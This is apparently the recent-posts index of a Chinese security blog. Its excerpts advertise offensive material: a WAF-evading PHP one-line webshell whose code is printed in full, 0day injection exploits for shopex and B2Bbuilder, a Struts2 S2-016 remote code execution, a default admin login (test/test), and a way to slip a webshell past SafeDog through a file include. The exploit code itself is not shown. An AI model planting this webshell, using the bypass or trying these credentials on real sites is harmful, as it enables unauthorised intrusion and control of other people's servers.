最新内容
独立技术产品工程师,专注企业定制研发、AI 产品与智能化、复杂业务系统与 FDE 式技术合作。从需求、产品判断、技术架构到核心研发和上线交付,核心工作由本人直接负责。
更新 2013-08-17
河马php一句话木马[过狗版]v1.0
【河马】 php一句话木马服务端和客户端【免杀版】 软件是一个php脚本木马,将<?php echo $_GET[2]($_GET[0]($_GET[1]));?> 写...
更新 2013-08-05
shopex 4.8.5 api.php注入漏洞0day exp
[crayon-6ad8490b10751417179374/] PS:长时间不更新也不是回事,偶尔还是更新一下!
更新 2014-02-23
$O00OO0=urldecode 解密
网站服务器太烂了吧,最近一年都频繁打不开,恶心死,烦…… 微盾类似解密,一般都以 [crayon-6ad8490b1172b101165329/] 形式出现,记录...
更新 2016-08-02
Struts2再爆远程代码执行漏洞(S2-016)
Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码。Struts 2.3.15.1之前的版本,参数action的值re...
更新 2013-07-19
B2Bbuilder注入漏洞+Exp+默认管理员帐号
测试的程序版本为:B2Bbuilder_v6.6 [crayon-6ad8490b12626265107534/] 这个B2B程序还有一个默认的管理员帐号,帐号密码都是test
更新 2013-07-12
安全狗拦截webshell简单绕过
将大马写到一个txt文件里面,命名为dama.txt 再建一个文本文档,asp的就写入: <!--#include file="dama.txt"-->保存为x.asp 两个...
更新 2013-07-07
替换wp-postviews,沿用老数据实现计数与排行
本来想记录下BUG的处理,但改了下当做问题记录吧,文章计数BUG修复了! 在前一段时间合并插件的时候不知道弄了哪里,统计失效了,当时...